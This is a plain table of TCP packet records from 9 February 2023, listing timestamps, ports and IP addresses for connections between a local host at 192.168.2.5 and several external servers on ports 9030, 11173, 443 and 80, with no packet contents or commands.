Feb 9, 2023 01:01:48.145646095 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.148524046 CET	49735	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:48.234132051 CET	49735	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:48.262176991 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:48.288261890 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:48.290783882 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:48.339953899 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:48.349661112 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.376331091 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:48.498203993 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.498423100 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:48.498742104 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:48.624739885 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:49.397876978 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:49.397924900 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:49.398006916 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:49.398109913 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:49.412278891 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:49.438460112 CET	49736	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:49.472472906 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.509634018 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:49.559381008 CET	9030	49736	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:49.565979958 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.612447977 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.653063059 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:49.667987108 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.707792997 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:49.762577057 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.788840055 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:49.843677044 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.857103109 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:49.926393032 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:51.036854029 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:51.063033104 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:51.073091984 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:53.260951042 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:53.261033058 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:53.261157990 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:53.271934986 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:53.272001028 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:53.757191896 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:53.757411957 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:54.178385973 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:54.178440094 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.179075956 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.183546066 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:54.183576107 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.342559099 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.342678070 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.342771053 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:54.521394968 CET	49737	443	192.168.2.5	173.231.16.76
Feb 9, 2023 01:01:54.521445990 CET	443	49737	173.231.16.76	192.168.2.5
Feb 9, 2023 01:01:54.683731079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.705074072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.705193996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.705429077 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.726496935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726679087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726731062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726758957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726784945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726783037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.726814032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726841927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726846933 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.726869106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726877928 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.726898909 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726922989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726931095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.726950884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.726984024 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748109102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748167992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748200893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748233080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748261929 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748290062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748317003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748323917 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748343945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748372078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748380899 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748402119 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748411894 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748434067 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748442888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748464108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748495102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748501062 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748524904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748554945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748562098 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748584986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748615026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748621941 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748646021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748673916 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748682022 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.748703957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.748740911 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.769849062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.769896984 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.769918919 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.769942045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.769963026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.769985914 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770006895 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770034075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770092010 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770123005 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770155907 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770179987 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770184994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770215988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770222902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770247936 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770250082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770282984 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770287991 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770314932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770344973 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770351887 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770375013 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770405054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770412922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770435095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770463943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770469904 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770495892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770524025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770536900 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770555019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770585060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770592928 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770617008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770648003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770658016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770677090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770715952 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770725012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770752907 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770781040 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770800114 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770809889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770848036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770853996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770876884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770904064 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770914078 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770931959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770957947 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.770976067 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.770984888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.771013975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.771023989 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.771043062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.771078110 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792207003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792256117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792288065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792315006 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792341948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792345047 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792371988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792385101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792401075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792421103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792429924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792459011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792471886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792489052 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792521954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792526960 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792551994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792588949 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792905092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792942047 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792969942 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.792994976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.792998075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793026924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793050051 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793056011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793086052 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793102980 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793126106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793155909 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793164968 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793185949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793215036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793226004 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793243885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793271065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793279886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793301105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793329000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793342113 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793359041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793387890 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793400049 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793417931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793445110 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793469906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.793471098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793503046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.793512106 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.803251028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824549913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824604988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824632883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824659109 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824661970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824692965 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824692965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824726105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824753046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824764013 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824784994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824798107 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824815035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824841022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824855089 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824867964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824898005 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824913979 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824927092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824956894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.824975014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.824982882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825011969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825023890 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825040102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825066090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825077057 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825093985 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825129986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825139046 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825159073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825187922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825193882 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825216055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825243950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825254917 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825272083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825299025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825326920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825335026 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825356960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825373888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825383902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825413942 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825424910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825439930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825467110 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825489998 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825498104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825525999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825536013 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825553894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825579882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825591087 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825608969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825634956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825647116 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825663090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825692892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825715065 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825721979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825748920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825768948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825774908 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825803995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825830936 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825833082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825858116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825877905 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825884104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825908899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825923920 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.825937986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825969934 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.825972080 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847166061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847229958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847260952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847290993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847318888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847345114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847372055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847378969 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847400904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847434998 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847460032 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847465992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847493887 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847500086 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847534895 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847548008 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847569942 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847632885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847640038 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847670078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847700119 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847709894 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847729921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847759008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847769976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847790956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847819090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847830057 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847847939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847875118 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847887039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847912073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847939968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847964048 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.847965002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.847990990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848006964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848018885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848047018 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848062038 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848073959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848100901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848114967 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848129988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848159075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848169088 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848187923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848217964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848229885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848248005 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848277092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848288059 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848304987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848330021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848355055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:54.848355055 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:54.848385096 CET	80	49738	131.188.40.189	192.168.2.5
